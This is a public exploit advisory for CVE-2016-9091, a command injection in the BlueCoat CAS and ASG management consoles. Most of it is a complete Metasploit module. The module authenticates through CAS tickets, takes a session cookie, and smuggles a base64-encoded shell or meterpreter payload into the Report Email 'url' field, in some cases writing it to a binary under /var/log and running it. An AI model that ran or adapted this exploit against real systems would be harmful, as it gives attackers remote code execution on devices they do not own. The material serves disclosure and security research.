BlueCoat ASG and CAS OS Command Injection Vulnerability

Published
Credit
Risk
2017.04.05
Multiple
High
CWE
CVE
Local
Remote
N/A
CVE-2016-9091
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
9/10
10/10
8/10
Exploit range
Attack complexity
Authentication
Remote
Low
Single time
Confidentiality impact
Integrity impact
Availability impact
Complete
Complete
Complete

# Exploit Title: OS Command Injection Vulnerability in BlueCoat ASG and CAS
# Date: April 3, 2017
# Exploit Authors: Chris Hebert, Peter Paccione and Corey Boyd
# Contact: chrisdhebert[at]gmail.com
# Vendor Security Advisory: https://bto.bluecoat.com/security-advisory/sa138
# Version: CAS 1.3 prior to 1.3.7.4 & ASG 6.6 prior to 6.6.5.4 are vulnerable
# Tested on: BlueCoat CAS 1.3.7.1
# CVE : cve-2016-9091

Timeline:
--------
08/31/2016 (Vulnerablities Discovered)
03/31/2017 (Final Vendor Patch Confirmed)
04/03/2017 (Public Release)

Description:
The BlueCoat ASG and CAS management consoles are susceptible to an OS command injection vulnerability.
An authenticated malicious administrator can execute arbitrary OS commands with the privileges of the tomcat user.

Proof of Concept:

Metasploit Module - Remote Command Injection (via Report Email)
-----------------

##
# This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "BlueCoat CAS 1.3.7.1 \"Report Email\" Command Injection",
'Description' => %q{
BlueCoat CAS 1.3.7.1 (and possibly previous versions) are susceptible to an authenticated Remote Command Injection attack against
the Report Email functionality. This module exploits the vulnerability, resulting in tomcat execute permissions.
Any authenticated user within the 'administrator' group is able to exploit this; however, a user within the 'Readonly' group cannot.
},
'License' => MSF_LICENSE,
'Author' => [
'Chris Hebert <chrisdhebert[at]gmail.com>',
'Pete Paccione <petepaccione[at]gmail.com>',
'Corey Boyd <corey.k.boyd[at]gmail.com>'
],
'DisclosureDate' => 'Vendor Contacted 8-31-2016',
'Platform' => %w{ linux unix },
'Targets' =>
[
['BlueCoat CAS 1.3.7.1', {}],
],
'DefaultTarget' => 0,

'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Payload' =>
{
'BadChars' => '',
'Compat' =>
{
#'PayloadType' => 'cmd python cmd_bash cmd_interact',
#'RequiredCmd' => 'generic perl python openssl bash awk', # metasploit may need to fix [bash,awk]
}
},
'References' =>
[
['CVE', '2016-9091'],
['EDB', '##TBD##'],
['URL', 'https://bto.bluecoat.com/security-advisory/sa138']
],
'DefaultOptions' =>
{
'SSL' => true
},
'Privileged' => true))

register_options([
Opt::RPORT(8082),
OptString.new('USERNAME', [ true, 'Single username' ]),
OptString.new('PASSWORD', [ true, 'Single password' ])
], self.class)
end

#Check BlueCoat CAS version - unauthenticated via GET /avenger/rest/version
def check
res = send_request_raw({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'avenger', 'rest', 'version')
})

clp_version = res.body.split("\<\/serialNumber\>\<version\>")
clp_version = clp_version[1]
clp_version = clp_version.split("\<")
clp_version = clp_version[0]
if res and clp_version != "1.3.7.1"
print_status("#{peer} - ERROR - BlueCoat version #{clp_version}, but must be 1.3.7.1")
fail_with(Failure::NotVulnerable, "BlueCoat version #{clp_version}, but must be 1.3.7.1")
end
return Exploit::CheckCode::Vulnerable
end
def exploit
print_status("#{peer} - Checking for vulnerable BlueCoat Host...")
if check != CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, "FAILED Exploit - BlueCoat not version 1.3.7.1")
end

print_status("#{peer} - Running Exploit...")
post = {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'cas', 'v1', 'tickets'),
'method' => 'POST',
'vars_post' => post
})

unless res && res.code == 201
print_error("#{peer} - Server did not respond in an expected way")
return
end

redirect = res.headers['Location']
ticket1 = redirect.split("\/tickets\/").last
print_status("#{peer} - Step 1 - REQ:Login -> RES:Ticket1 -> #{ticket1}")

post = {
'service' => 'http://localhost:8447/avenger/j_spring_cas_security_check'
}

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'cas', 'v1', 'tickets', "#{ticket1}"),
'method' => 'POST',
'vars_post' => post
})

ticket2 = res.body
print_status("#{peer} - Step 2 - REQ:Ticket1 -> RES:Ticket2 -> #{ticket2}")

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "avenger/j_spring_cas_security_check?dc=1472496573838&ticket=#{ticket2}")
})

unless res && res.code == 302
print_error("#{peer} - Server did not respond in an expected way")
return
end
cookie = res.get_cookies
print_status("#{peer} - Step 3 - REQ:Ticket2 -> RES:COOKIE -> #{cookie}")

if cookie.blank?
print_error("#{peer} - Could not retrieve a cookie")
return
end

unless res && res.code == 302
print_error("#{peer} - Server did not respond in an expected way")
return
end

cookie = res.get_cookies

if cookie.blank?
print_error("#{peer} - Could not retrieve the authenticated cookie")
return
end

print_status("#{peer} - LOGIN Process Complete ...")
print_status("#{peer} - Exploiting Bluecoat CAS v1.3.7.1 - Report Email ...")


if payload.raw.include?("perl") || payload.raw.include?("python") || payload.raw.include?("openssl")
#print_status("#{peer} - DEBUG: asci payload (perl,python, openssl,?bash,awk ")
post = "{\"reportType\":\"jpg\",\"url\":\"http\:\/\/localhost:8447/dev-report-overview.html\;echo #{Rex::Text.encode_base64(payload.raw)}|base64 -d|sh;\",\"subject\":\"CAS #{datastore["RHOST"]}: CAS Overview Report\"}"
else
#print_status("#{peer} - DEBUG - binary payload (meterpreter,etc, !!")
post = "{\"reportType\":\"jpg\",\"url\":\"http\:\/\/localhost:8447/dev-report-overview.html\;echo #{Rex::Text.encode_base64(payload.raw)}|base64 -d>/var/log/metasploit.bin;chmod +x /var/log/metasploit.bin;/var/log/metasploit.bin;\",\"subject\":\"CAS #{datastore["RHOST"]}: CAS Overview Report\"}"
end

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'avenger', 'rest', 'report-email', 'send'),
'method' => 'POST',
'cookie' => cookie,
'ctype' => 'application/json',
'data' => post
})
print_status("#{peer} - Payload sent ...")
end

end


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